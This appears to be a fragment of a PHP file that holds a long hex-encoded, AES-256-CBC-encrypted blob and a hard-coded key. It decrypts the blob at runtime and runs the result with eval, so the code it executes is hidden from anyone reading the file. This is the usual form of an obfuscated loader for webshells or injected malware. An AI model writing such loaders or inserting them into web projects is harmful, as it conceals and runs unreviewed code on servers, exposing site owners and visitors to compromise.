d914d4776c76fb8e02219a5236caec76b48094d3916fbac3a09fedd564ff528c7e16f2426c2162062fca138bb6c1bf8e0636769262ce695af88091ab23cd899e5b3e0eea37b7d967095831776a0cf17b681337e54e9df21880c4be8e49ce647b41bf3b9fdda2a1723ec40b7e5112185ddf3661f07971fed20597495b6a598a25c34e1772325703298c117de77982fd0356f5b770a69f96c315873a8d039eb54e88299680cc0623e34f77178ad940d829f31ff28a47d176dfa8040d111e016687c577ca844410ae68319499b29c947cf47fd4c2cd97d68fc60cde0042b0947b810f0a07a44d73392c4719cfc89d612135fad6887442a2a8535e71dca1ed4edbf696562f5243e501e9442c6aa85995a604ad1f0d2a7c6cf9af100e066d7b0377398e46176a27da10303eae5c8aff9b4d88e4c04769ae781404ce35ac9c81532c9b2b0aa0c6e1cde529b93fda68f44483f230b29a33e11305a5a80df7118e1997a03ec9696c4be431249300cbbfb1064ff3dca3ea455017ce4eae4b2e7b60ec06f1cdc25787034db5f493a95e341c59d7ca2b11130766cf37aca4cda12161e355eff0c3194ced0748aa1c9ca1d6de462677a2ea8b0fe9cfc88764d62d35331ed2b0f60760cf63f03da11cac8a5a7097ab7b4337b30c3f6092dcb636f14c14ae692367b782bfa4785af7852ed31512765f4bdcf63f7413250df9b9fe627d6f37ba38071d6581c2198297a1c3ca9c0d36b2f10dbf1c1556de77b9289ab51e5f9010ff3d627a187d5975ce19037d60385d3bcc47ae441805e2646c617d3480d6bf88173b4de8692ea634c8c9ff40d5cbb58ed659c9d591d4e62424718a87572cf1fb7c0bb8aaf939b9446de2cecf797f86ca8be60056e07554cce44bb9334531096af464014783240d303a63e7510dcf260692e4d42cc156c2b20660c90b7e95c38b0f5690df980787963018befb0928d7586a44e2877374915d0076f70599171434dc259f1e047288f625d9428a4869c7ec6844bca7e086e20204ee91bd9afe99836cb38ad9407afabe556f5ae934ceed495669edf68880579ccc56e173f38c8edbc6c571d52d56cd423c065e6bb298ed7f81126052df5d52b992b2307dc65913889f1ffd9908950b8406554aa2332382fc97857ac6b22e96b40618bee2cbc0017928afe14f3e065b00a8011625147a4b364c24a92";
$key = "4ac4cd2b5708114443fc0c79c8fdf6eab70a83d44937bbd28d6319e8220255fb";
function decryptFile() {
$data = hex2bin($GLOBALS["data"]);
$key = hex2bin($GLOBALS["key"]);
$ivLength = openssl_cipher_iv_length("aes-256-cbc");
$iv = substr($data, 0, $ivLength);
$encryptedData = substr($data, $ivLength);
$decryptedData = openssl_decrypt($encryptedData, "aes-256-cbc", $key, OPENSSL_RAW_DATA, $iv);
if ($decryptedData === false) {
throw new Exception("Decryption failed: " . openssl_error_string());
}
return $decryptedData;
}
$decryptedData = decryptFile();
eval("?>".$decryptedData);
|